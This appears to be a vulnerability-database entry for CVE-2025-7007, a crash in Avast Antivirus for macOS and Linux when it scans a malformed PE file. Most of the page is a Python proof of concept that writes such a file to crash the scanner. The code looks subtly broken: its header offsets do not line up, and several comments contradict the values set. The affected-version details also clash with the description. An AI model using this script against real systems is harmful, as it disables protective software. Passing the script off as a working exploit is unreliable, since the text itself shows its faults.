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CVE-2025-7007 CVSS 7.5 HIGH

CVE-2025-7007

Published: 2025-12-01 17:15:51
Last Modified: 2026-04-15 00:35:42

Description

NULL Pointer Dereference vulnerability in Avast Antivirus on MacOS, Avast Anitvirus on Linux when scanning a malformed Windows PE file causes the antivirus process to crash.This issue affects Antivirus: 16.0.0; Anitvirus: 3.0.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Avast Antivirus (MacOS) < 16.0.0
Avast Antivirus (Linux) < 3.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-7007 PoC - Malformed PE File Generator Generates a malformed Windows PE file to trigger NULL Pointer Dereference in Avast Antivirus on MacOS/Linux during scanning. Note: This PoC is for educational and security research purposes only. """ import struct import os def create_malformed_pe(output_path): """ Create a malformed PE file that may trigger NULL pointer dereference in Avast Antivirus scanning engine. """ # DOS Header - corrupt some fields to trigger parsing error dos_header = bytearray(64) struct.pack_into('<H', dos_header, 0, 0x5A4D) # e_magic (MZ) struct.pack_into('<I', dos_header, 60, 0x100) # e_lfanew (PE header offset) - manipulated # PE Signature pe_signature = b'PE\x00\x00' # COFF File Header (corrupted) coff_header = bytearray(20) struct.pack_into('<H', coff_header, 0, 0x014C) # Machine (i386) struct.pack_into('<H', coff_header, 2, 2) # NumberOfSections - minimal struct.pack_into('<I', coff_header, 4, 0) # TimeDateStamp - zeroed struct.pack_into('<I', coff_header, 8, 0) # PointerToSymbolTable - zeroed struct.pack_into('<I', coff_header, 12, 0) # NumberOfSymbols - zeroed struct.pack_into('<H', coff_header, 16, 0xE0) # SizeOfOptionalHeader struct.pack_into('<H', coff_header, 18, 0x0102) # Characteristics - corrupted flags # Optional Header (malformed) optional_header = bytearray(0xE0) struct.pack_into('<H', optional_header, 0, 0x010B) # Magic (PE32) struct.pack_into('<B', optional_header, 2, 8) # LinkerVersion struct.pack_into('<I', optional_header, 4, 0x100) # SizeOfCode - suspicious struct.pack_into('<I', optional_header, 8, 0) # SizeOfInitializedData - zero struct.pack_into('<I', optional_header, 12, 0) # SizeOfUninitializedData - zero # Set BaseOfCode to NULL to trigger vulnerability struct.pack_into('<I', optional_header, 16, 0) # BaseOfCode - NULL struct.pack_into('<I', optional_header, 20, 0) # BaseOfData - NULL struct.pack_into('<I', optional_header, 24, 0x400000) # ImageBase struct.pack_into('<I', optional_header, 28, 0x1000) # SectionAlignment struct.pack_into('<I', optional_header, 32, 0x200) # FileAlignment - suspicious struct.pack_into('<H', optional_header, 36, 4) # OSVersion struct.pack_into('<H', optional_header, 40, 0) # ImageVersion struct.pack_into('<H', optional_header, 44, 0) # SubsystemVersion struct.pack_into('<I', optional_header, 48, 0) # Win32VersionValue struct.pack_into('<I', optional_header, 52, 0x5000) # SizeOfImage - inconsistent struct.pack_into('<I', optional_header, 56, 0x200) # SizeOfHeaders - small struct.pack_into('<I', optional_header, 92, 0x3000) # CheckSum - suspicious struct.pack_into('<H', optional_header, 96, 3) # Subsystem (GUI) struct.pack_into('<I', optional_header, 100, 0x100000) # SizeOfStackReserve struct.pack_into('<I', optional_header, 104, 0x1000) # SizeOfStackCommit struct.pack_into('<I', optional_header, 108, 0x100000) # SizeOfHeapReserve struct.pack_into('<I', optional_header, 112, 0x1000) # SizeOfHeapCommit struct.pack_into('<I', optional_header, 116, 0) # LoaderFlags struct.pack_into('<I', optional_header, 120, 16) # NumberOfRvaAndSizes - minimal # Section Header (corrupted/malformed) section_header = bytearray(40) section_header[:8] = b'.text\x00\x00\x00' # Name struct.pack_into('<I', section_header, 8, 0x100) # VirtualSize - zero struct.pack_into('<I', section_header, 12, 0) # VirtualAddress - NULL struct.pack_into('<I', section_header, 16, 0) # SizeOfRawData - zero struct.pack_into('<I', section_header, 20, 0) # PointerToRawData - NULL struct.pack_into('<I', section_header, 24, 0) # PointerToRelocations - NULL struct.pack_into('<I', section_header, 28, 0) # PointerToLinenumbers - NULL struct.pack_into('<H', section_header, 32, 0) # NumberOfRelocations - zero struct.pack_into('<H', section_header, 34, 0) # NumberOfLinenumbers - zero struct.pack_into('<I', section_header, 36, 0x60000020) # Characteristics # Combine all parts pe_file = dos_header + pe_signature + coff_header + optional_header + section_header # Write to file with open(output_path, 'wb') as f: f.write(pe_file) print(f'[+] Malformed PE file created: {output_path}') print(f'[+] File size: {len(pe_file)} bytes') print('[!] This file may trigger NULL Pointer Dereference in Avast Antivirus') if __name__ == '__main__': output_file = 'CVE-2025-7007_malformed_pe.exe' create_malformed_pe(output_file)

References

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